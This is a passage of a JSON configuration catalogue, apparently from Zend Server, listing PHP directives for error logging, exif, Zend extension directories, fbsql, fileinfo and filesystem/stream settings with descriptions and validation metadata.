            "display_errors": {
                "shortDescription": "Display errors in HTML script output",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "log_errors": {
                "shortDescription": "Log errors to log file",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "track_errors": {
                "shortDescription": "Store last error message",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "warn_plus_overloading": {
                "shortDescription": "Output a warning if plus operator is used with strings",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "display_startup_errors": {
                "shortDescription": "Display startup errors",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "error_reporting": {
                "shortDescription": "Set the error reporting level",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "error_prepend_string": {
                "shortDescription": "String to output before an error message",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": true,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "error_append_string": {
                "shortDescription": "String to output after an error message",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": true,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "error_log": {
                "shortDescription": "Name of the file where script errors should be logged",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "log_errors_max_len": {
                "shortDescription": "Set the maximum length of log_errors in bytes",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "Bytes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ignore_repeated_errors": {
                "shortDescription": "Do not log repeated messages",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ignore_repeated_source": {
                "shortDescription": "Ignore source of message when ignoring repeated messages",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "report_memleaks": {
                "shortDescription": "If this parameter is set to Off, then memory leaks will not be shown",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "html_errors": {
                "shortDescription": "Turn off HTML tags in error messages",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "docref_root": {
                "shortDescription": "The new error format contains a reference to a page describing the error",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "docref_ext": {
                "shortDescription": "Extensions for document reference",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "define_syslog_variables": {
                "shortDescription": "Define syslog variables",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "syslog.facility": {
                "shortDescription": "Specifies what type of program is logging the message",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "syslog.filter": {
                "shortDescription": "Specifies the filter type to filter the logged messages",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "syslog.ident": {
                "shortDescription": "Specifies the ident string which is prepended to every message",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "exif": {
        "name": "exif",
        "extensionId": "exif",
        "isDaemon": 0,
        "shortDescription": "Exchangeable Image File Format Data",
        "longDescription": "With the exif extension you are able to work with image meta data.",
        "iniFileName": "exif.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "exif.decode_jis_intel": {
                "shortDescription": "Defines the image internal character set for JIS encoded user comments",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "exif.encode_unicode": {
                "shortDescription": "Defines the character set UNICODE user comments are handled",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "exif.decode_unicode_motorola": {
                "shortDescription": "Image internal character set for Unicode encoded user comments",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "exif.decode_unicode_intel": {
                "shortDescription": "Image internal character set for Unicode encoded user comments",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "exif.encode_jis": {
                "shortDescription": "Character set JIS user comments are handled",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "exif.decode_jis_motorola": {
                "shortDescription": "Image internal character set for JIS encoded user comments",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Extension Directory Locations": {
        "name": "Extension Directory Locations",
        "extensionId": "Extension Directory Locations",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "Extension Directory Locations",
        "longDescription": "Defines directory locations for Zend components.",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": {
            "zend_extension_manager.dir.codetracing": {
                "shortDescription": "Codetracing Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.datacache": {
                "shortDescription": "Datacache Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.debugger": {
                "shortDescription": "Debugger Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.jbridge": {
                "shortDescription": "Java Bridge Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.jobqueue": {
                "shortDescription": "Jobqueue Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.loader": {
                "shortDescription": "Loader Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.monitor": {
                "shortDescription": "Monitor Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.monitor_ui": {
                "shortDescription": "Monitor Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.optimizerplus": {
                "shortDescription": "Optimizer+ Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.pagecache": {
                "shortDescription": "Pagecache Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.sc": {
                "shortDescription": "SC Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.utils": {
                "shortDescription": "Utils Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.zend_cluster_utils": {
                "shortDescription": "Cluster Utils Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_extension_manager.dir.dserver": {
                "shortDescription": "DServer Directory Location",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "fbsql": {
        "name": "fbsql",
        "extensionId": "fbsql",
        "isDaemon": 0,
        "shortDescription": "FrontBase database access",
        "longDescription": "",
        "iniFileName": "fbsql.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "fbsql.allow_persistent": {
                "shortDescription": "Allow persistent connection",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.allow_persistant": {
                "shortDescription": "Allow persistent connection",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.autocommit": {
                "shortDescription": "Enable or disable autocommit",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.batchSize": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.mbatchSize": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.default_database": {
                "shortDescription": "FastBase default database",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.default_database_password": {
                "shortDescription": "FastBase default database password",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.default_host": {
                "shortDescription": "The default server host to use when connecting to the database server",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.default_password": {
                "shortDescription": "FastBase default password",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.default_user": {
                "shortDescription": "The default user name to use when connecting to the database server",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.generate_warnings": {
                "shortDescription": "Enables a warning generating",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.max_connections": {
                "shortDescription": "Maximal number of fbsql connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.max_links": {
                "shortDescription": "Maximal number of fbsql links",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.max_persistent": {
                "shortDescription": "Maximal number of fbsql persistent",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "fbsql.max_results": {
                "shortDescription": "Maximal number of fbsql  results",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "fileinfo": {
        "name": "fileinfo",
        "extensionId": "fileinfo",
        "isDaemon": 0,
        "shortDescription": "File Information Retrieval",
        "longDescription": "Allows retrieval of information regarding various file types. This information includes file type and encoding as well as more specific information, such as dimensions, quality or length.",
        "iniFileName": "fileinfo.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "filepro": {
        "name": "filepro",
        "extensionId": "filepro",
        "isDaemon": 0,
        "shortDescription": "filePro",
        "longDescription": "",
        "iniFileName": "filepro.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "Filesystem and Streams": {
        "name": "Filesystem and Streams",
        "extensionId": "Filesystem and Streams",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "File System, Streams and Uploads Directives",
        "longDescription": "File System, Streams and Uploads Directives",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": {
            "allow_url_fopen": {
                "shortDescription": "Enables the URL-aware fopen wrappers that enable accessing URL object files",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "allow_url_include": {
                "shortDescription": "This option allows the use of URL-aware fopen wrappers with the following functions: include(), include_once(), require(), require_once(). Requires allow_url_fopen to be on",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "default_socket_timeout": {
                "shortDescription": "Default timeout (in seconds) for socket-based streams",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 3600,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "auto_detect_line_endings": {
                "shortDescription": "When turned on, PHP will examine the data read by fgets() and file() to see if it is using Unix, MS-Dos or Macintosh line-ending conventions",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "user_agent": {
                "shortDescription": "Define the user agent for PHP to send",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "from": {
                "shortDescription": "Define the anonymous ftp password",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "file_uploads": {
                "shortDescription": "Whether or not to allow HTTP file uploads",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "upload_tmp_dir": {
                "shortDescription": "The temporary directory used for storing files when doing file upload",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "upload_max_filesize": {
                "shortDescription": "The maximum size of an uploaded file",
                "type": 5,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
